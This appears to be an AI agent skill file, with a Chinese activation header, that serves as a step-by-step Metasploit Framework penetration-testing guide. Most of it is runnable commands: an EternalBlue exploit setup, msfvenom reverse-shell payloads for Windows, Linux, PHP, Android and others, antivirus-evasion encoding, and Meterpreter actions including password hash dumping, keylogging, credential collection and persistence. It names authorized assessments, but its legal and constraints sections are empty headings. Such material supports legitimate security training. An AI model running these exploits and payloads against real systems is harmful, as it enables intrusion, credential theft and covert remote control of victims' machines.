Metasploit Framework
当用户提出“使用Metasploit进行渗透测试”、“通过msfconsole利用漏洞”、“使用msfvenom创建载荷”、“执行后期渗透操作”、“利用辅助模块进行扫描”或“开发自定义漏洞利用程序”时,应启用此技能。该技能为安全评估中有效运用Metasploit框架提供全面指导。
Metasploit Framework
Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
Prerequisites
Required Tools
# Metasploit comes pre-installed on Kali Linux
For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstallStart PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb initRequired Knowledge
Required Access
Outputs and Deliverables
Core Workflow
Phase 1: MSFConsole Basics
Launch and navigate the Metasploit console:
# Start msfconsole
msfconsoleQuiet mode (skip banner)
msfconsole -qBasic navigation commands
msf6 > help # Show all commands
msf6 > search [term] # Search modules
msf6 > use [module] # Select module
msf6 > info # Show module details
msf6 > show options # Display required options
msf6 > set [OPTION] [value] # Configure option
msf6 > run / exploit # Execute module
msf6 > back # Return to main console
msf6 > exit # Exit msfconsolePhase 2: Module Types
Understand the different module categories:
# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai6. Nops - No-operation padding for buffer overflows
msf6 > show nops7. Evasion - Bypass security controls
msf6 > show evasionPhase 3: Searching for Modules
Find appropriate modules for targets:
# Search by name
msf6 > search eternalblueSearch by CVE
msf6 > search cve:2017-0144Search by platform
msf6 > search platform:windows type:exploitSearch by type and keyword
msf6 > search type:auxiliary smbFilter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellentCombined search
msf6 > search type:exploit platform:linux apacheView search results columns:
Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description
Phase 4: Configuring Exploits
Set up an exploit for execution:
# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblueView required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsSet target host
msf6 exploit(...) > set RHOSTS 192.168.1.100Set target port (if different from default)
msf6 exploit(...) > set RPORT 445View compatible payloads
msf6 exploit(...) > show payloadsSet payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcpSet local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444View all options again to verify
msf6 exploit(...) > show optionsCheck if target is vulnerable (if supported)
msf6 exploit(...) > checkExecute exploit
msf6 exploit(...) > exploit
or
msf6 exploit(...) > runPhase 5: Payload Types
Select appropriate payload for the situation:
# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcpStagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcpStages - Downloaded by stager, provides full functionality
Meterpreter, VNC, shell
Payload naming convention:
[platform]/[architecture]/[payload_type]/[connection_type]
Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcpPhase 6: Meterpreter Session
Work with Meterpreter post-exploitation:
# After successful exploitation, you get Meterpreter prompt
meterpreter >System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpidFile System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1Privilege Escalation
meterpreter > getsystem
meterpreter > getprivsCredential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collectorScreenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stopShell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1Phase 7: Auxiliary Modules
Use auxiliary modules for reconnaissance:
# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > runPort Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > runSSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > runFTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > runHTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > runBrute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > runPhase 8: Post-Exploitation Modules
Run post modules on active sessions:
# List sessions
msf6 > sessions -lRun post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > runOr run directly from Meterpreter
meterpreter > run post/windows/gather/hashdumpCommon Post Modules
Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_credsSystem Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configsPrivilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggesterPersistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistencePivoting
post/multi/manage/autoroutePhase 9: Payload Generation with msfvenom
Create standalone payloads:
# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exeLinux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elfPHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.phpPython reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.pyPowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.aspWAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.warAndroid APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apkEncoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exeList available formats
msfvenom --list formatsList available encoders
msfvenom --list encodersPhase 10: Setting Up Handlers
Configure listener for incoming connections:
# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -jThe -j flag runs as background job
msf6 > jobs -lWhen payload executes on target, session opens
[*] Meterpreter session 1 openedInteract with session
msf6 > sessions -i 1Quick Reference
Essential MSFConsole Commands
| Command | Description |
|---|---|
search [term] | Search for modules |
use [module] | Select a module |
info | Display module information |
show options | Show configurable options |
set [OPT] [val] | Set option value |
setg [OPT] [val] | Set global option |
run / exploit | Execute module |
check | Verify target vulnerability |
back | Deselect module |
sessions -l | List active sessions |
sessions -i [N] | Interact with session |
jobs -l | List background jobs |
db_nmap | Run nmap with database |
Meterpreter Essential Commands
| Command | Description |
|---|---|
sysinfo | System information |
getuid | Current user |
getsystem | Attempt privilege escalation |
hashdump | Dump password hashes |
shell | Drop to system shell |
upload/download | File transfer |
screenshot | Capture screen |
keyscan_start | Start keylogger |
migrate [PID] | Move to another process |
background | Background session |
portfwd | Port forwarding |
Common Exploit Modules
# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuacLinux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_execWeb Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_consoleConstraints and Limitations
Legal Requirements
Technical Limitations
Operational Security
Troubleshooting
| Issue | Solutions |
|---|---|
| Database not connected | Run sudo msfdb init, start PostgreSQL, then db_connect |
| Exploit fails/no session | Run check; verify payload architecture; check firewall; try different payloads |
| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |
| Payload detected by AV | Use encoding -e x86/shikata_ga_nai -i 10; use evasion modules; custom templates |